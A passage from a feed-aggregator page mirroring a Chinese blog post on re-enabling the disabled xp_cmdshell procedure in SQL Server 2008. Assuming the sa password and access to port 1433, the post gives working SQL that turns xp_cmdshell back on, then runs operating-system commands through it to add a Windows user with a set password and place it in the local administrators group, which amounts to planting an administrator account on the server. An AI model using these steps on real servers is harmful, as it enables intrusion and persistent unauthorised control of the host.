惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Darknet – Hacking Tools, Hacker News & Cyber Security
V
Vulnerabilities – Threatpost
Cloudbric
Cloudbric
G
GRAHAM CLULEY
S
Securelist
Schneier on Security
Schneier on Security
Help Net Security
Help Net Security
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Project Zero
Project Zero
Spread Privacy
Spread Privacy
P
Privacy International News Feed
C
Cyber Attacks, Cyber Crime and Cyber Security
Cisco Talos Blog
Cisco Talos Blog
T
Tailwind CSS Blog
博客园_首页
有赞技术团队
有赞技术团队
Simon Willison's Weblog
Simon Willison's Weblog
Stack Overflow Blog
Stack Overflow Blog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
Latest news
Latest news
T
Tor Project blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Attack and Defense Labs
Attack and Defense Labs
www.infosecurity-magazine.com
www.infosecurity-magazine.com
O
OpenAI News
J
Java Code Geeks
T
Tenable Blog
K
Kaspersky official blog
AWS News Blog
AWS News Blog
S
Security @ Cisco Blogs
The GitHub Blog
The GitHub Blog
T
Threatpost
月光博客
月光博客
H
Heimdal Security Blog
Security Latest
Security Latest
The Hacker News
The Hacker News
Y
Y Combinator Blog
A
Arctic Wolf
Apple Machine Learning Research
Apple Machine Learning Research
C
Cisco Blogs
美团技术团队
Microsoft Security Blog
Microsoft Security Blog
Hugging Face - Blog
Hugging Face - Blog
T
The Blog of Author Tim Ferriss
C
CERT Recently Published Vulnerability Notes
D
Docker
Google Online Security Blog
Google Online Security Blog
D
DataBreaches.Net
V
Visual Studio Blog
H
Help Net Security

博客园 - zqonline

vs2015 添加行件 关于 OpenSmtp 邮件标题过长后出现乱码问题的解决 获取 httponly 的 cookie 大文本编辑程序 混合模式程序集是针对“v2.0.50727”版的运行时生成的,在没有配置其他信息的情况下,无法在 4.0 运行时中加载该程序集。 加速度传感器与车祸报警解决方案 iis+php 运行wordpress所遇到的问题 Winforms下使用TableLayoutPanel进行布局,并解决闪烁及平均列宽与平均行高问题 wince文件同步代码[转] 使用edtftpnet上传文件到Serv-U出现乱码的问题,并且不能创建中文文件名或文件夹。 升级程序到.net 4.0 发现log4net不工作与log4net conversionPattern 说明 uc密码产生方式。 SQLite数据库参数化编程时,采用命名参数的方式 System.Data.SQLite 不能在.net 4.0 里引用的解决方法 初次使用json数据格式,发生的常识性错误。 我电脑上的mssql2000居然,被黑了,在还原数据时提示:无法装载DLL Microsoft提示请误随意操作SQL数据库,以免对数据库造成不必要的麻烦或DLL所引用的某一DLL。原因:126(找不到指定模块) 解决SQL2000出现"无法执行查询,因为文件缺少或未注册。再次运行安装程序确保要求的文件已注册。"的方法 wordpress ImetaWeblog 运行时出现 “child”不是此父级的子控件。
sqlserver2008里创建系统管理员
zqonline · 2012-05-08 · via 博客园 - zqonline

sql2008如何使用被禁止的"xp_cmdshell"

前提是知道sa的连接密码,而且服务器能连接1433,不然啥都别说. 
C:\>DIR C:\ 
SQL Server 阻止了对组件 ''xp_cmdshell'' 的 过程''sys.xp_cmdshell'' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ''xp_cmdshell''。有关启用 ''xp_cmdshell'' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 

SQL   Server   2005   中引入的   xp_cmdshell   选项是服务器配置选项,使系统管理员能够控制是否可以在系统上执行   xp_cmdshell   扩展存储过程。默认情况下,xp_cmdshell   选项在新安装的软件上处于禁用状态,但是可以通过使用外围应用配置器工具或运行   sp_configure   系统存储过程来启用它,如下面的代码示例所示: 
连上后,用查询分析器,依次执行下面的语句,就可以了. 

USE master 
EXEC sp_configure ''show advanced options'', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure ''xp_cmdshell'', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure  ''show advanced options'', 0 

结果是成功了,呵呵!

use master
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options'1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell'1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
--测试是否有xp_cmdshell的权限,如果列出数据,说明有权限
exec xp_cmdshell 'dir c:'
go--添加windows用户:
EXEC xp_cmdshell 'net user ghd /add';
--设置好密码:
EXEC xp_cmdshell 'net user ghd password';
--提升到管理员:
EXEC xp_cmdshell 'net localgroup administrators ghd /add';